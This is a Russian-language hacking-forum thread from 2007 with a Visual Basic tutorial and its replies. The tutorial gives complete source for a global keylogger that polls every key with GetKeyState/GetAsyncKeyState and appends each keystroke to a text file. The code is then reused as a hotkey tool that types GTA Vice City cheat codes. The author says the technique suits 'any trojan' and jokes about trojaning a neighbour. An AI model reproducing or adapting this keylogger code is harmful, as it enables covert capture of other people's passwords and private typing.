Авторские статьи Кейлогер на Vb или как правильно играть в Gta!!!

Discussion in 'Статьи' started by je0n, 7 Feb 2007.

  1. je0n

    je0n Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    345
    Likes Received:
    96
    Reputations:
    41
    Эта статья писалась лет 8 назад, поэтому не глумитесь )
    Поехали:

    Привет. Это моя первая статья и я решил написать её в Word’е, чтобы вы могли её распечатать и не портить себе глаза чтением с монитора (надеюсь потом она будет и в других форматах)… Теперь о мониторе :--))) У меня поломался мой супер-большой и навороченный монитор и я взял монитор у своего знакомого. Всё бы ничего, но у монитора максимальное разрешение 640*480 точек. Представьте сами как удобно в таком печатать, а уж тем более делать скриншоты, а они в рамках этой статьи запланированы, поэтому если будет не красиво – не обисуйте!!!
    Как заметно из названия статья она будет о том, как написать сканер клавиатуры на Visual Basic’е. Сначала мы напишем сам сканер, а потом а приведу пример как его можно будет использовать в мирных целях, т.е. без затроянивания соседа, хотя, что с ним делать – это уже не моё дело!!!
    Начнём!!! Многие крутые кодеры говорят, что сканер клавиатуры обязательно делать с помощью хуков. Это такие API-функции. Да, я с ними согласен – это самый крутой и навороченный вариант, который подойдёт для всех условий, но нах его использовать, если есть варианты попроще и не менее эффективны, а также подойдут для любого Трояна?
    Наш сканер будет использовать всего две API-функции – это GetKeyState и GetAsyncKeyState. Я попробую написать эту статью для новичка, который знает как писать простенькие программы на VB, но ещё плохо представляет, что такое функция… С этого и начну.
    Итак, если вы уже программировали на VB, то уже использовали какие-нить функции, например Sin() или Cos() или любый другие. Прикол функции в том, что вы её просто пишите, а всё остальное она делает за вас сама. Это тоже самое как в матиметике Sin(п/2)=1 или cos(п/2)=0. Ведь вы, наверняка не знаете почему эти функции от этих параметров равны именно этим значениям (я это узнал благодаря моему препаду в РГУ ШАБАРШИНОЙ (стерва, нах оно мне надо!!!)!!!), но вы их всё равно используете. Так же и в программировании. Вы получаете результат функции, но не знаете как она получает этот результат и оно вам на фиг не впилось!!!
    Чтобы было круче понятно расскажу на примере функции возведения в квадрат. Вы её напишите сами. Откройте VB и добавьте на форму кнопу(Button1) и текстовое поле(Text1). У кнопки в свойство Caption напишите “ВОЗВЕСТИ В КВАДРАТ”. Должно получиться вот так (ещё раз, прошу прошения за мой монитор!!!).
    [​IMG]
    Дальше система такая – вводим в текстовое поле (Text1) какое-нить число, нажимаем на кнопку и в том же текстовом поле получаем квадрат этого число. Для это мы будем использовать функцию Kvad(x as Double). То есть переменная x будет содержать то число, которое мы хотим возвести в квадрат. Вот код этой функции:
    Code:
    Function Kvad(x As Double) As Double
    Kvad = x * x
    End Function
    
    Вот видите, мы присваиваем самой функции её значение умноженной само на себя. Т.е. квадрат числа x.
    И теперь в обработчике события кнопки пишём Text1.Text = Kvad(Text1.Text). Теперь вы вводите любое число в текстовое поле, нажимаете на кнопке и получаете квадрат этого числа (надеюсь не слишком заумно). Естественно вы должны ввести только число и ничего кроме числа, иначе программа выдаст ошибку. Это один из недостатков (или, наоборот, достоинств, кому как нравиться) VB. Приведу полный пример кода программы:
    Code:
    Function Kvad(x As Double) As Double
    Kvad = x * x
    End Function
    
    Private Sub Command1_Click()
    Text1.Text = Kvad(Text1.Text)
    End Sub
    
    Объясню по фрагментам:
    - Fucntion – ключевое слово, которое означает, что дальше буде идти функция, функция заканчивается ключевыми словами End Function
    - Kvad(x As Double) As Double – как видите этот набор буковок идёт вместе со словом Function – так вот здесь определяется имя функции и параметры, который будут ей (функции) передаваться, то есть x As Double означает, что будем передавать функции число типа Double (надеюсь, знаете, что это за тип у числа, если не знаете – читайте учебники или спрашивайте на [email protected]). И этот самый x мы можем использовать в самой функции (то есть между словами Function и End Function). Что мы и делаем в следующей строчке.
    - Kvad = x * x – Заметьте у нашей функции имя Kvad и передаём мы ей x, вот и присваиваем Kvad’у x*x. То есть функция вернёт перемноженный x, как и синус п/2 вернёт еденицу. Буду надеяться, что это понятно.
    - End Function – ну это я уже не однократно описал, эти слова означают конец функции.

    Ну и теперь в обработчике нажатия кнопки мыши мы пишем Text1.Text = Kvad(Text1.Text) . Это означает, что в текстовое поле засовываем результат функции Kvad() из того же поля.

    Ну надеюсь вы поняли, что такое функция, без дебильных университетских определений, типа функция – это блок операторов, выполняющих определённую задачу. Ненавижу институтское образование!!! Это для лохов!!! Нормальный чуваки учатся как у них получиться, а не у долбанного старпёра-препада, который кроме названия своего предмета ни хера не знает!!!  Это меня просто отчислили из универа, вот я и злой такой. Хотя я на самом деле считаю так (привет Шабаршина-сучара!!! ). Ну теперь переходим к API функциям.
    Api-функции – это такие же функции, но их использует операционная система и лежат они (функции) в .dll файлах. Например, есть API-функции создания окна, получение текста из заголовка окна, но они нас сейчас не волнуют. Нам нужны функции GetKeyState и GetAsyncKeyState. Прежде чем их использовать их надо объявить в своей программе.
    Сейчас мы сделаем будущую форму для нашего кейлогера и объявим эти функции, а потом я объясню, что значат эти функции.
    Создайте новый exe-проект и добавьте на форму таймер (Timer1). У таймера свойство интервал поставьте примерно в 50 (если кто не знает, то это через сколько миллисекунд будет выполняться таймер). Теперь идите в меню Добавления->МенеджерДополнений. Извините – не знаю как это выглядит в английской версии, но Добавления это второй пункт меню от конца (т.е. предпоследний). В появившемся окне выбирайте API Viewer (два раза клацните на нём) и давите OK. Теперь идите в меню Добавления->ApiViewer. Здесь будем выбирать нужный нам функции, чтобы не прописывать их ручками. Итак, в программе API Viewer выбирите File->LoadTextFile и загружайте файл WIN32API. Там есть строчка для поиска, так вот в ней и вводите GetKeyState, когда найдёте её, Declare Scope установите в Private и давите кнопку Add. Тоже самое проделайте с GetAsyncKeyState. Вот скриншот, что должно получиться:
    [​IMG]
    Теперь нажмите на кнопку Copy и закрывайте Api Viewer, теперь объявления этих функций у вас в буфере обмена и вы просто можете вставить их в код свой программы. Именно это и делайте, т.е. откройте окна кода VB и в самый верх вставьте эти несколько строчек.
    Теперь напишем функцию, которая и будет сканить клаву. Для этого вам нужно знать как работают эти две функции. Начнём с функции GetKeyState.
    Эта функция определяет каково состояние у клавиши: поднята, нажата или переключается. В качестве входящего параметра эта функция принимает код клавиши (которую мы и будем проверять – нажата она или нет). В документации о возвращаемых значениях написано примерно так:
    Возвpащаемое значение:
    Клавиша нажата, если стаpший бит pавен 1, и клавиша пеpеключается, если младший бит pавен 1.
    Вам что-нить ясно из этого? И мне было абсолютно не понятно, пока я не поэкспериментировал с этой функцией сам. И скажу вот что – функция возвращает либо 0, либо 1 если клавиша отпущена (т.е. не нажата). Или же -127, или -128 если кнопка нажата. Причём значения 0 и 1 берутся не наобум, а последовательно. Короче если я нажал кнопку, а затем отпустил её и у меня функция вернула 0, то в следующий раз она вернёт 1, а потом опять 0 и т.д. На этом мы и будем играть. Мы создадим массив в котором будем хранить возвращаемые значения функции, а затем в цикле будем проверять значения возвращаемые этой функцией, если какое-либо значение не совпало со значением в массиве, значит эта кнопка была нажата, а для стопудовой гарантии ещё и будем проверять это дело функцией GetAsyncKeyState. Эта функции принимает такое же значение как и GetKeyState, только возвращает 0 если кнопка отпущена (не нажата), или любое другое значение, если кнопка нажата. Все полученные от функции значения мы будем записывать в текстовый файл. Теперь приведу весь код программы.
    Code:
    Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    
    Private KeyFGKS(255) As Integer
    
    
    Function KeyScan() As String
    
    For i = 1 To 255
       If Not GetKeyState(i) = KeyFGKS(i) And GetAsyncKeyState(i) <> 0 Then      'Åñëè êíîïêà áûëà íàæàòà
          KeyFGKS(i) = GetKeyState(i)
          If i >= 65 And i <= 90 Then
             KeyScan = Chr(i)
             Exit For
          End If
          Select Case i
             Case 1
                KeyScan = "-LeftMouse-"
             Case 2
                KeyScan = "-RightMouse-"
             Case 4
                KeyScan = "-MouseScroll-"
             Case 192
                KeyScan = "~"
             Case 49
                KeyScan = "1"
             Case 50
                KeyScan = "2"
             Case 51
                KeyScan = "3"
             Case 52
                KeyScan = "4"
             Case 53
                KeyScan = "5"
             Case 54
                KeyScan = "6"
             Case 55
                KeyScan = "7"
             Case 56
                KeyScan = "8"
             Case 57
                KeyScan = "9"
             Case 48
                KeyScan = "0"
             Case 189
                KeyScan = "-"
             Case 187
                KeyScan = "="
             Case 220
                KeyScan = "\"
             Case 8
                KeyScan = "-BackSpace-"
             Case 9
                KeyScan = "-TAB-"
             Case 20
                KeyScan = "-CapsLock-"
             Case 160
                KeyScan = "-LShift-"
             Case 161
                KeyScan = "-RShift-"
             Case 162
                KeyScan = "-LCtrl-"
             Case 163
                KeyScan = "-RCtrl-"
             Case 164
                KeyScan = "-LAlt-"
             Case 165
                KeyScan = "-RAlt-"
             Case 32
                KeyScan = " "
             Case 144
                KeyScan = "-NumLock-"
             Case 96
                KeyScan = "-NP0-"
             Case 97
                KeyScan = "-NP1-"
             Case 98
                KeyScan = "-NP2-"
             Case 99
                KeyScan = "-NP3-"
             Case 100
                KeyScan = "-NP4-"
             Case 101
                KeyScan = "-NP5-"
             Case 102
                KeyScan = "-NP6-"
             Case 103
                KeyScan = "-NP7-"
             Case 104
                KeyScan = "-NP8-"
             Case 105
                KeyScan = "-NP9-"
             Case 27
                KeyScan = "-Esc-"
             Case 112
                KeyScan = "-F1-"
             Case 113
                KeyScan = "-F2-"
             Case 114
                KeyScan = "-F3-"
             Case 115
                KeyScan = "-F4-"
             Case 116
                KeyScan = "-F5-"
             Case 117
                KeyScan = "-F6-"
             Case 118
                KeyScan = "-F7-"
             Case 119
                KeyScan = "-F8-"
             Case 120
                KeyScan = "-F9-"
             Case 121
                KeyScan = "-F10-"
             Case 122
                KeyScan = "-F11-"
             Case 123
                KeyScan = "-F12-"
             Case 111
                KeyScan = "-NP/-"
             Case 106
                KeyScan = "*"
             Case 109
                KeyScan = "-NP--"
             Case 107
                KeyScan = "+"
             Case 114
                KeyScan = "-F3-"
             Case 110
                KeyScan = "-NP.-"
             Case 44
                KeyScan = "-PrintScreen-"
             Case 145
                KeyScan = "-ScrollLock-"
             Case 19
                KeyScan = "-PauseBreak-"
             Case 33
                KeyScan = "-PageUp-"
             Case 34
                KeyScan = "-PageDown-"
             Case 36
                KeyScan = "-Home-"
             Case 35
                KeyScan = "-End-"
             Case 45
                KeyScan = "-Insert-"
             Case 46
                KeyScan = "-Delete-"
             Case 39
                KeyScan = "-Right-"
             Case 38
                KeyScan = "-Up-"
             Case 37
                KeyScan = "-Left-"
             Case 40
                KeyScan = "-Down-"
             Case 13
                KeyScan = vbCrLf
             Case 191
                KeyScan = "/"
             Case 188
                KeyScan = ","
             Case 190
                KeyScan = "."
             Case 219
                KeyScan = "["
             Case 221
                KeyScan = "]"
             Case 186
                KeyScan = ";"
             Case 222
                KeyScan = "'"
          End Select
    
          Exit For                            
       End If
    Next i
    
    End Function
    
    Private Sub Timer1_Timer()
    Dim s As String
    s = KeyScan
    If Not s = "" Then
      Open "c:\1.txt" For Append As #1
      Print #1, s
      Close #1
    End If
    End Sub
    
    Чё длинная? Ха-ха… Не парьтесь! Там всё место занимает конструкция Select Case, чтобы функция вернула красивое значение, а не код нажатой клавиши. В первых нескольких строчках функции KeyScan() идёт просто проверка на нажатые кнопки, дальше же идёт определение какая именно была нажата кнопка по её коду. Единственно может вызвать удивление вот этот код:
    Code:
          If i >= 65 And i <= 90 Then
             KeyScan = Chr(i)
             Exit For
          End If
    
    Здесь дело в том, что кейкод буквенных клавиш совпадаёт с их ASCII значениями. Всё это можно было бы занести в конструкцию Select Case и сделать код ещё длиннее, но мне впадлу было это делать. В обработчике таймера мы просто записываем значения возвращаемые функцией в текстовый файл, если функция возвращает всё, что угодно кроме пустой строки.
    Вот собственно и весь сканер, но я обещал написать про то, как это можно использовать в GTA. Хорошо приступим к этому. Вы наверняка постоянно пользуйтесь паролями при игре в GTA – Vice City. Вы постоянно вводите Aspirine, gettherefast и т.д. Но иногда при большой перестрелке заморачивает вводить тот-же aspirine по десять раз. Вот мы напишем программу, которая будет вводить эти пароли за нас. Нам только нужно будет нажать горячую клавишу для пароля и он введется сам. Вот такую программу мы сейчас и напишем.
    Добавьте текстовое поле в тот же проект, в котором делали сканер клавы, и его свойству Name дайте значение Hots (от слова HotKeys). Теперь нам нужно создать массив таких элементов с именем Hots. Для этого клацните правой пимпой мыши на текстовом поле и выбирите Copy. Ну и вставьте на форму этот же элемент. Вам предложат создать массив таких элементов. Соглашайтесь – т.е. жмите «да». Подставляйте ещё таких же элементов штук пять – или сколько вам надо вводить паролей для классного гейминга. Теперь добавьте новое текстовое поле на форму и дайте ей имя Pass (от password) – сюда будите вписывать пароли. И расположите её напротив первого элемента Hots. И такой же темой как вы создавали массив Hots создайте массив Pass. Причём расположите 0-й элемент Hots напротив 0-вого элемента Pass и тоже самое с первыми, вторыми и.т.д элементами. У меня получилось вот так:
    [​IMG]
    То есть в левый столбик вы будите записывать горячие клавиши, а в правый пароли, который будут соответствовать этим клавишам. В обработчик события KeyUp массива Hots запишите следующий код:
     
    5 people like this.
  2. je0n

    je0n Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    345
    Likes Received:
    96
    Reputations:
    41
    Code:
    Private Sub Hots_KeyUp(Index As Integer, KeyCode As Integer, Shift As Integer)
    
    If KeyCode >= 65 And KeyCode <= 90 Then          'Îïðåäåëåíèå êëàâèøè
      Hots(Index).Text = Chr(KeyCode)
      Exit Sub
    End If
    
    Select Case KeyCode
             Case 192
                Hots(Index).Text = "~"
             Case 49
                Hots(Index).Text = "1"
             Case 50
                Hots(Index).Text = "2"
             Case 51
                Hots(Index).Text = "3"
             Case 52
                Hots(Index).Text = "4"
             Case 53
                Hots(Index).Text = "5"
             Case 54
                Hots(Index).Text = "6"
             Case 55
                Hots(Index).Text = "7"
             Case 56
                Hots(Index).Text = "8"
             Case 57
                Hots(Index).Text = "9"
             Case 48
                Hots(Index).Text = "0"
             Case 189
                Hots(Index).Text = "-"
             Case 187
                Hots(Index).Text = "="
             Case 220
                Hots(Index).Text = "\"
             Case 8
                Hots(Index).Text = "-BackSpace-"
             Case 9
                Hots(Index).Text = "-TAB-"
             Case 20
                Hots(Index).Text = "-CapsLock-"
             Case 160
                Hots(Index).Text = "-LShift-"
             Case 161
                Hots(Index).Text = "-RShift-"
             Case 162
                Hots(Index).Text = "-LCtrl-"
             Case 163
                Hots(Index).Text = "-RCtrl-"
             Case 164
                Hots(Index).Text = "-LAlt-"
             Case 165
                Hots(Index).Text = "-RAlt-"
             Case 144
                Hots(Index).Text = "-NumLock-"
             Case 96
                Hots(Index).Text = "-NP0-"
             Case 97
                Hots(Index).Text = "-NP1-"
             Case 98
                Hots(Index).Text = "-NP2-"
             Case 99
                Hots(Index).Text = "-NP3-"
             Case 100
                Hots(Index).Text = "-NP4-"
             Case 101
                Hots(Index).Text = "-NP5-"
             Case 102
                Hots(Index).Text = "-NP6-"
             Case 103
                Hots(Index).Text = "-NP7-"
             Case 104
                Hots(Index).Text = "-NP8-"
             Case 105
                Hots(Index).Text = "-NP9-"
             Case 27
                Hots(Index).Text = "-Esc-"
             Case 112
                Hots(Index).Text = "-F1-"
             Case 113
                Hots(Index).Text = "-F2-"
             Case 114
                Hots(Index).Text = "-F3-"
             Case 115
                Hots(Index).Text = "-F4-"
             Case 116
                Hots(Index).Text = "-F5-"
             Case 117
                Hots(Index).Text = "-F6-"
             Case 118
                Hots(Index).Text = "-F7-"
             Case 119
                Hots(Index).Text = "-F8-"
             Case 120
                Hots(Index).Text = "-F9-"
             Case 121
                Hots(Index).Text = "-F10-"
             Case 122
                Hots(Index).Text = "-F11-"
             Case 123
                Hots(Index).Text = "-F12-"
             Case 111
                Hots(Index).Text = "-NP/-"
             Case 106
                Hots(Index).Text = "*"
             Case 109
                Hots(Index).Text = "-NP--"
             Case 107
                Hots(Index).Text = "+"
             Case 114
                Hots(Index).Text = "-F3-"
             Case 110
                Hots(Index).Text = "-NP.-"
             Case 44
                Hots(Index).Text = "-PrintScreen-"
             Case 145
                Hots(Index).Text = "-ScrollLock-"
             Case 19
                Hots(Index).Text = "-PauseBreak-"
             Case 33
                Hots(Index).Text = "-PageUp-"
             Case 34
                Hots(Index).Text = "-PageDown-"
             Case 36
                Hots(Index).Text = "-Home-"
             Case 35
                Hots(Index).Text = "-End-"
             Case 45
                Hots(Index).Text = "-Insert-"
             Case 46
                Hots(Index).Text = "-Delete-"
             Case 39
                Hots(Index).Text = "-Right-"
             Case 38
                Hots(Index).Text = "-Up-"
             Case 37
                Hots(Index).Text = "-Left-"
             Case 40
                Hots(Index).Text = "-Down-"
             Case 13
                Hots(Index).Text = vbCrLf
             Case 191
                Hots(Index).Text = "/"
             Case 188
                Hots(Index).Text = ","
             Case 190
                Hots(Index).Text = "."
             Case 219
                Hots(Index).Text = "["
             Case 221
                Hots(Index).Text = "]"
             Case 186
                Hots(Index).Text = ";"
             Case 222
                Hots(Index).Text = "'"
    End Select
    
    End Sub
    
    Это нужно, чтобы значения в этом поле совпадало с одним из возвращаемых значений функции KeyScan. Иначе программа не сможет понять какую кнопку нужно нажимать для ввода пароля. Скажу лишь, что index – это номер элемента массива Hots, а KeyCode – это код отпускаемой клавиши, когда курсор стоит на одном из элементов Hots. Надеюсь это понятно.
    Теперь в обработчике таймера сотрите, все, что мы понаписали до этого и введите следующий код:
    Code:
    Private Sub Timer1_Timer()
    Dim s As String
    Dim i As Integer
    
    s = KeyScan
    
    For i = 0 To 7
      If Hots(i).Text = s Then SendKeys (Passwords(i).Text)
    Next i
    End Sub
    
    Вот здесь немного расскажу. Функция SendKeys посылает строку в программу в которой вы сейчас находитесь. То есть если вы будите находиться в Ворде и свёрнутая программа выполнит команду SendKeys(“fuck you”), то у вас в Ворде напечатается строка fuck you. Понимайте теперь как будут вводиться пароли. Мы играем в GTA, а наша программа просто запущена и мы её не видим. Когда нажимаем какю-нить кнопку таймер проверяет, не горячая ли клавиша была нажата. И если горячая, то вызывает процедуру SendKeys(), а в качестве параметра ей передаётся строка, которая лежит в элементе массива Pass. Естественно, если бы добавили не 8 полей для ввода паролей и горячей клавиши, то и в цикле вам надо указать не от 0 до 7, а от 0 до нужного вам числа. Ну надеюсь это ясно. Теперь можете откомпилить программу и играть в GTA. Но ещё может быть косяк. Если пароли в игре вводиться не будут, то пишите пароли в программе большими буквами или наоборот маленькими. С чем это связано я не понял, но на разных компах по разному. Ещё идейку подкину. Введите кучу раз пароль gettherefast стоя на одном и том же месте, тогда тачки будут сыпаться с неба. А потом стрельните по всей этой свалке из базуки. Такого взрыва вы ещё, наверное, некогда не видели…
    Если будут какие проблемы пишите на [email protected], постараюсь ответить. В архиве со статьёй лежат исходники программы, которую мы писали. Удачи.
     
    1 person likes this.
  3. TALIB

    TALIB Member

    Joined:
    16 Dec 2006
    Messages:
    23
    Likes Received:
    14
    Reputations:
    0
    Лень читать) но может кто нить скажет причем тут гта?
     
  4. je0n

    je0n Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    345
    Likes Received:
    96
    Reputations:
    41
    тут пишется прога, которая перехватывает нажатия кнопок (кейлогер). И для некоторых кнопок делаются горячие клавиши для ввода паролей в гта. Нажал кнопку - у тебя все жизни... :)
     
  5. blok

    blok New Member

    Joined:
    20 Apr 2007
    Messages:
    12
    Likes Received:
    3
    Reputations:
    0
    честно говоря из вышенаписанного мало что понял... особенно пароли гта....
     
  6. le_san

    le_san Elder - Старейшина

    Joined:
    21 Apr 2007
    Messages:
    15
    Likes Received:
    42
    Reputations:
    0
    идея интересная, спасиб))
    только... ты над этим думал только ради кодов в гта? =)
     
  7. je0n

    je0n Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    345
    Likes Received:
    96
    Reputations:
    41
    ээээээ.... да я собственно вообще над этим не думал. Идея так сканить кнопки не моя. Она известна еще с незапятных времен :)
    А гта.... Просто показал, реализацию горячих клавиш на полезной вещи :). Ты бы понял меня если бы свалил в кучу штук 50 машин и посмотрел на этот "ядерный взрыв".
     
    2 people like this.